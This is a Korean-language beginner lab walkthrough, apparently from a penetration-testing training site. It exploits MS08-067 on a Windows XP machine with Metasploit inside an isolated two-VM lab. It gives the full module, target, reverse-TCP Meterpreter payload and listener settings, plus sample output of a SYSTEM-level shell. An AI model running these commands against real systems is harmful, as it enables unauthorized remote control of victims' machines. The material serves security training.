Metasploit 을 이용한 Windows XP 대상 MS08-067 익스플로잇

Kali LinuxBeginner
지금 연습하기

소개

이 랩에서는 Metasploit Framework 를 사용하여 가장 잘 알려진 Windows 취약점 중 하나인 MS08-067 을 익스플로잇하는 방법을 배우게 됩니다. 이 취약점은 Windows 시스템의 Server Service 에 존재하며 원격 코드 실행을 허용할 수 있습니다.

Metasploit 이라는 강력한 침투 테스트 도구를 사용하여 대상 Windows XP 시스템에 대한 익스플로잇을 선택, 구성 및 실행하게 됩니다. 이 랩이 끝나면 대상 시스템에서 Meterpreter 세션을 획득하여 원격 제어 권한을 얻게 됩니다.

이 랩을 위해 환경은 두 개의 머신으로 사전 구성되어 있습니다.

  • 공격자 머신 (이 Ubuntu VM), IP 주소: 192.168.1.100.
  • 취약한 Windows XP 대상 머신, IP 주소: 192.168.1.101.

모든 작업은 공격자 머신의 터미널에서 수행합니다.

ms08_067_netapi 익스플로잇 모듈 선택

이 단계에서는 Metasploit 콘솔을 실행하고 MS08-067 취약점에 대한 적절한 익스플로잇 모듈을 선택합니다.

먼저 터미널을 엽니다. 모든 명령은 여기서 실행됩니다. Metasploit Framework 에는 msfconsole이라는 명령줄 인터페이스가 있습니다. 배너를 억제하기 위해 -q (quiet) 플래그를 사용하여 시작해 보겠습니다.

msfconsole -q

로딩이 완료되면 msf6 >와 같은 Metasploit 프롬프트가 표시됩니다. 이제 ms08-067과 관련된 익스플로잇 모듈을 검색할 수 있습니다.

search ms08-067

일치하는 모듈 목록이 표시됩니다. 우리가 관심 있는 모듈은 exploit/windows/smb/ms08_067_netapi입니다.

Matching Modules
================

   ##  Name                                 Disclosure Date  Rank       Check  Description
   -  ----                                 ---------------  ----       -----  -----------
   0  exploit/windows/smb/ms08_067_netapi  2008-10-28       great      Yes    MS08-067 Microsoft Server Service Relative Path Stack Corruption

이 익스플로잇을 사용하려면 use 명령 다음에 모듈 이름을 입력합니다.

use exploit/windows/smb/ms08_067_netapi

프롬프트가 변경되어 현재 이 특정 익스플로잇 모듈의 컨텍스트 내에 있음을 나타냅니다.

msf6 exploit(windows/smb/ms08_067_netapi) >

RHOSTS 옵션을 Windows XP 대상으로 설정

이 단계에서는 대상의 IP 주소를 설정하여 익스플로잇 모듈을 구성합니다. 대부분의 익스플로잇은 공격 대상을 알아야 합니다. Metasploit 에서는 RHOSTS (Remote Hosts) 옵션을 사용하여 대상 주소를 설정합니다.

먼저 show options 명령을 사용하여 이 익스플로잇에 사용할 수 있는 옵션을 확인합니다.

show options

구성할 수 있는 옵션 테이블이 표시됩니다. RHOSTS는 필수이지만 아직 설정되지 않았음을 확인합니다.

Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS                    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT    445              yes       The target port (TCP)
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)

...

이제 RHOSTS 옵션을 Windows XP 대상의 IP 주소인 192.168.1.101로 설정합니다.

set RHOSTS 192.168.1.101

Metasploit 에서 변경 사항을 확인합니다.

RHOSTS => 192.168.1.101

이제 Metasploit 에 공격할 머신을 지정했습니다.

windows/meterpreter/reverse_tcp와 같은 reverse TCP 페이로드 선택

이 단계에서는 성공적인 익스플로잇 후 대상 시스템으로 전달될 페이로드를 선택합니다. 페이로드는 대상 머신에서 실행될 코드입니다. 우리는 강력하고 유연한 페이로드인 Meterpreter를 사용할 것이며, 이는 대화형 쉘을 제공합니다.

windows/meterpreter/reverse_tcp 페이로드는 손상된 대상 머신이 공격자에게 다시 연결하도록 강제합니다. 이는 방화벽이 대상에 대한 직접 연결을 차단할 수 있는 실제 시나리오에서 종종 더 성공적입니다.

페이로드를 설정하려면 set payload 명령을 사용합니다.

set payload windows/meterpreter/reverse_tcp

Metasploit 에서 페이로드가 설정되었음을 확인합니다.

payload => windows/meterpreter/reverse_tcp

페이로드가 선택되었으므로 다음 단계에서 해당 옵션을 구성해야 합니다.

LHOST 및 LPORT 페이로드 옵션 설정

이제 reverse 페이로드를 선택했으므로, 페이로드가 사용자의 머신으로 다시 연결하도록 구성해야 합니다. 이를 위해서는 두 가지 주요 옵션인 LHOSTLPORT를 설정해야 합니다.

  • LHOST (Local Host): 페이로드가 다시 연결해야 하는 공격자 머신의 IP 주소입니다.
  • LPORT (Local Port): 대상으로부터 들어오는 연결을 수신할 사용자의 머신 포트입니다.

소개에서 언급했듯이, 공격자 머신의 IP 는 192.168.1.100입니다. LHOST를 이 값으로 설정합니다.

set LHOST 192.168.1.100

확인 메시지가 표시됩니다.

LHOST => 192.168.1.100

다음으로, 수신 포트를 설정합니다. 일반적인 선택은 4444입니다.

set LPORT 4444

다시 한번 확인 메시지가 표시됩니다.

LPORT => 4444

show options를 다시 실행하여 모든 필수 옵션 (RHOSTS, LHOST, LPORT) 이 올바르게 설정되었는지 확인할 수 있습니다.

익스플로잇 실행 및 Meterpreter 세션 확보

모든 옵션을 구성했으므로 이제 익스플로잇을 실행할 준비가 되었습니다. 이것은 대상 시스템을 손상시키려는 마지막 단계입니다.

공격을 시작하려면 exploit 명령을 사용하면 됩니다.

exploit

Metasploit 은 이제 취약점을 익스플로잇하려고 시도합니다. 성공하면 다음과 유사한 출력이 표시됩니다. 대상 OS 를 자동으로 감지하고 익스플로잇을 보낸 다음 페이로드를 보냅니다.

[*] Started reverse TCP handler on 192.168.1.100:4444
[*] 192.168.1.101:445 - Automatically detecting the target...
[*] 192.168.1.101:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.101:445 - Selected Target: Windows XP SP3 English (AlwaysOn)
[*] 192.168.1.101:445 - Attempting to trigger the vulnerability...
[*] Sending stage (179779 bytes) to 192.168.1.101
[*] Meterpreter session 1 opened (192.168.1.100:4444 -> 192.168.1.101:1035) at 2023-10-27 10:30:00 -0400

meterpreter >

마지막 줄인 Meterpreter session 1 opened에 주목하십시오. 명령 프롬프트가 meterpreter >로 변경되었습니다. 이는 대상 시스템을 성공적으로 손상시켰고 활성 세션을 가지고 있음을 의미합니다.

액세스를 확인하려면 getuid와 같은 명령을 실행하여 대상 시스템에서 어떤 사용자로 실행 중인지 확인하십시오.

getuid

출력은 최고 수준의 권한으로 실행 중임을 보여줍니다.

Server username: NT AUTHORITY\SYSTEM

축하합니다! MS08-067 을 성공적으로 익스플로잇했습니다!

요약

이 실습에서는 Metasploit Framework 를 사용하여 Windows XP 대상에서 MS08-067 취약점을 성공적으로 익스플로잇했습니다.

침투 테스트의 기본 워크플로우를 따랐습니다.

  1. 특정 익스플로잇 모듈 (exploit/windows/smb/ms08_067_netapi) 을 선택했습니다.
  2. 대상의 주소 (RHOSTS) 를 설정하여 익스플로잇을 구성했습니다.
  3. 제어권을 얻기 위한 페이로드 (windows/meterpreter/reverse_tcp) 를 선택했습니다.
  4. 로컬 호스트 및 포트 (LHOST, LPORT) 로 페이로드를 구성했습니다.
  5. 익스플로잇을 실행하고 대상에서 높은 권한의 Meterpreter 세션을 확보했습니다.

이 연습은 Metasploit 과 같은 프레임워크를 사용하여 시스템 취약점을 테스트하고 익스플로잇하는 강력함과 단순성을 보여줍니다.